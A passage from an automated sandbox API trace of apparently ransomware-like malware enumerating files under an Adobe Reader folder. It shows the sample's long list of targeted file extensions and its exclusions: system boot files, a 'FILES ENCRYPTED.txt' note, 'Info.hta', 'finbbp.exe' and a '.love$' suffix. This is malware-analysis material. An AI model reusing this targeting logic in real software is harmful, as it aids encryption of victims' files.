(lpString1=".dxf", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".edml") returned 5 [0266.626] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.626] lstrlenW (lpString=".efd") returned 4 [0266.626] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.627] lstrlenW (lpString=".elf") returned 4 [0266.628] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".emf") returned 4 [0266.628] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".emz") returned 4 [0266.628] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".epf") returned 4 [0266.628] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".eps") returned 4 [0266.628] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".epsf") returned 5 [0266.628] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.628] lstrlenW (lpString=".epsp") returned 5 [0266.628] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.628] lstrlenW (lpString=".erf") returned 4 [0266.628] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".exr") returned 4 [0266.628] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".f4v") returned 4 [0266.628] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.628] lstrlenW (lpString=".fido") returned 5 [0266.628] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.628] lstrlenW (lpString=".flm") returned 4 [0266.628] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".flv") returned 4 [0266.629] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".frm") returned 4 [0266.629] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".fxg") returned 4 [0266.629] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".geo") returned 4 [0266.629] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".gif") returned 4 [0266.629] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".grs") returned 4 [0266.629] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".gz") returned 3 [0266.629] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.629] lstrlenW (lpString=".h") returned 2 [0266.629] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.629] lstrlenW (lpString=".hdr") returned 4 [0266.629] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".hpp") returned 4 [0266.629] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.629] lstrlenW (lpString=".hta") returned 4 [0266.630] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".htc") returned 4 [0266.630] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".htm") returned 4 [0266.630] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".html") returned 5 [0266.630] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.630] lstrlenW (lpString=".icb") returned 4 [0266.630] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".ics") returned 4 [0266.630] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".iff") returned 4 [0266.630] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".inc") returned 4 [0266.630] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".indd") returned 5 [0266.630] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.630] lstrlenW (lpString=".ini") returned 4 [0266.630] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".iqy") returned 4 [0266.630] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".j2c") returned 4 [0266.630] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.630] lstrlenW (lpString=".j2k") returned 4 [0266.631] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".java") returned 5 [0266.631] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.631] lstrlenW (lpString=".jp2") returned 4 [0266.631] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".jpc") returned 4 [0266.631] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".jpe") returned 4 [0266.631] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".jpeg") returned 5 [0266.631] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.631] lstrlenW (lpString=".jpf") returned 4 [0266.631] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".jpg") returned 4 [0266.631] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".jpx") returned 4 [0266.631] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.631] lstrlenW (lpString=".js") returned 3 [0266.631] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.631] lstrlenW (lpString="ui-strings.js") returned 13 [0266.631] lstrlenW (lpString=".love$") returned 6 [0266.631] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.631] lstrlenW (lpString="ui-strings.js") returned 13 [0266.632] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.632] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.632] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js") returned 120 [0266.632] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.632] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0266.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.633] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0266.633] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0266.633] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 1 [0266.633] lstrlenW (lpString="hu-hu") returned 5 [0266.633] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0266.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.633] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0266.633] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0266.633] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.633] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.634] lstrlenW (lpString="ui-strings.js") returned 13 [0266.634] lstrlenW (lpString=".1cd") returned 4 [0266.634] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.634] lstrlenW (lpString=".3ds") returned 4 [0266.634] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.634] lstrlenW (lpString=".3fr") returned 4 [0266.634] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.634] lstrlenW (lpString=".3g2") returned 4 [0266.634] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.634] lstrlenW (lpString=".3gp") returned 4 [0266.634] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.634] lstrlenW (lpString=".7z") returned 3 [0266.634] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.634] lstrlenW (lpString=".accda") returned 6 [0266.634] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.634] lstrlenW (lpString=".accdb") returned 6 [0266.634] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.634] lstrlenW (lpString=".accdc") returned 6 [0266.634] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.634] lstrlenW (lpString=".accde") returned 6 [0266.634] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.634] lstrlenW (lpString=".accdt") returned 6 [0266.634] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.635] lstrlenW (lpString=".accdw") returned 6 [0266.635] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.635] lstrlenW (lpString=".adb") returned 4 [0266.635] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".adp") returned 4 [0266.635] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai") returned 3 [0266.635] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.635] lstrlenW (lpString=".ai3") returned 4 [0266.635] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai4") returned 4 [0266.635] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai5") returned 4 [0266.635] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai6") returned 4 [0266.635] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai7") returned 4 [0266.635] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".ai8") returned 4 [0266.635] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.635] lstrlenW (lpString=".anim") returned 5 [0266.635] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.635] lstrlenW (lpString=".arw") returned 4 [0266.635] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".as") returned 3 [0266.636] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.636] lstrlenW (lpString=".asa") returned 4 [0266.636] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".asc") returned 4 [0266.636] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".ascx") returned 5 [0266.636] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.636] lstrlenW (lpString=".asm") returned 4 [0266.636] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".asmx") returned 5 [0266.636] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.636] lstrlenW (lpString=".asp") returned 4 [0266.636] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".aspx") returned 5 [0266.636] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.636] lstrlenW (lpString=".asr") returned 4 [0266.636] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".asx") returned 4 [0266.636] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".avi") returned 4 [0266.636] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".avs") returned 4 [0266.636] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.636] lstrlenW (lpString=".backup") returned 7 [0266.637] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.637] lstrlenW (lpString=".bak") returned 4 [0266.637] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".bay") returned 4 [0266.637] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".bd") returned 3 [0266.637] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.637] lstrlenW (lpString=".bin") returned 4 [0266.637] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".bmp") returned 4 [0266.637] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".bz2") returned 4 [0266.637] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".c") returned 2 [0266.637] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.637] lstrlenW (lpString=".cdr") returned 4 [0266.637] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".cer") returned 4 [0266.637] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.637] lstrlenW (lpString=".cf") returned 3 [0266.637] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.637] lstrlenW (lpString=".cfc") returned 4 [0266.637] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".cfm") returned 4 [0266.638] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".cfml") returned 5 [0266.638] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.638] lstrlenW (lpString=".cfu") returned 4 [0266.638] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".chm") returned 4 [0266.638] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".cin") returned 4 [0266.638] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".class") returned 6 [0266.638] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.638] lstrlenW (lpString=".clx") returned 4 [0266.638] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".config") returned 7 [0266.638] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.638] lstrlenW (lpString=".cpp") returned 4 [0266.638] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".cr2") returned 4 [0266.638] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".crt") returned 4 [0266.638] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".crw") returned 4 [0266.638] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.638] lstrlenW (lpString=".cs") returned 3 [0266.638] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.638] lstrlenW (lpString=".css") returned 4 [0266.639] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".csv") returned 4 [0266.639] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".cub") returned 4 [0266.639] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".dae") returned 4 [0266.639] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".dat") returned 4 [0266.639] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".db") returned 3 [0266.639] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.639] lstrlenW (lpString=".dbf") returned 4 [0266.639] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".dbx") returned 4 [0266.639] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.639] lstrlenW (lpString=".dc3") returned 4 [0266.783] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".dcm") returned 4 [0266.783] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".dcr") returned 4 [0266.783] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".der") returned 4 [0266.783] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".dib") returned 4 [0266.783] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".dic") returned 4 [0266.783] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".dif") returned 4 [0266.783] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".divx") returned 5 [0266.783] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.783] lstrlenW (lpString=".djvu") returned 5 [0266.783] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.783] lstrlenW (lpString=".dng") returned 4 [0266.783] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".doc") returned 4 [0266.783] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.783] lstrlenW (lpString=".docm") returned 5 [0266.784] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.784] lstrlenW (lpString=".docx") returned 5 [0266.784] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.784] lstrlenW (lpString=".dot") returned 4 [0266.784] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dotm") returned 5 [0266.784] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.784] lstrlenW (lpString=".dotx") returned 5 [0266.784] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.784] lstrlenW (lpString=".dpx") returned 4 [0266.784] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dqy") returned 4 [0266.784] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dsn") returned 4 [0266.784] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dt") returned 3 [0266.784] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.784] lstrlenW (lpString=".dtd") returned 4 [0266.784] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dwg") returned 4 [0266.784] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dwt") returned 4 [0266.784] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.784] lstrlenW (lpString=".dx") returned 3 [0266.784] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.785] lstrlenW (lpString=".dxf") returned 4 [0266.785] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".edml") returned 5 [0266.785] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.785] lstrlenW (lpString=".efd") returned 4 [0266.785] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".elf") returned 4 [0266.785] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".emf") returned 4 [0266.785] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".emz") returned 4 [0266.785] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".epf") returned 4 [0266.785] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".eps") returned 4 [0266.785] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".epsf") returned 5 [0266.785] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.785] lstrlenW (lpString=".epsp") returned 5 [0266.785] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.785] lstrlenW (lpString=".erf") returned 4 [0266.785] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".exr") returned 4 [0266.785] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.785] lstrlenW (lpString=".f4v") returned 4 [0266.786] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".fido") returned 5 [0266.786] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.786] lstrlenW (lpString=".flm") returned 4 [0266.786] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".flv") returned 4 [0266.786] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".frm") returned 4 [0266.786] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".fxg") returned 4 [0266.786] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".geo") returned 4 [0266.786] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".gif") returned 4 [0266.786] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".grs") returned 4 [0266.786] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".gz") returned 3 [0266.786] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.786] lstrlenW (lpString=".h") returned 2 [0266.786] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.786] lstrlenW (lpString=".hdr") returned 4 [0266.786] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".hpp") returned 4 [0266.786] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.786] lstrlenW (lpString=".hta") returned 4 [0266.787] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".htc") returned 4 [0266.787] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".htm") returned 4 [0266.787] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".html") returned 5 [0266.787] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.787] lstrlenW (lpString=".icb") returned 4 [0266.787] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".ics") returned 4 [0266.787] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".iff") returned 4 [0266.787] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".inc") returned 4 [0266.787] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".indd") returned 5 [0266.787] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.787] lstrlenW (lpString=".ini") returned 4 [0266.787] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".iqy") returned 4 [0266.787] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".j2c") returned 4 [0266.787] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".j2k") returned 4 [0266.787] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.787] lstrlenW (lpString=".java") returned 5 [0266.788] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.788] lstrlenW (lpString=".jp2") returned 4 [0266.788] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".jpc") returned 4 [0266.788] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".jpe") returned 4 [0266.788] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".jpeg") returned 5 [0266.788] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.788] lstrlenW (lpString=".jpf") returned 4 [0266.788] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".jpg") returned 4 [0266.788] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".jpx") returned 4 [0266.788] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.788] lstrlenW (lpString=".js") returned 3 [0266.788] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.788] lstrlenW (lpString="ui-strings.js") returned 13 [0266.788] lstrlenW (lpString=".love$") returned 6 [0266.788] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.788] lstrlenW (lpString="ui-strings.js") returned 13 [0266.788] lstrcmpiW 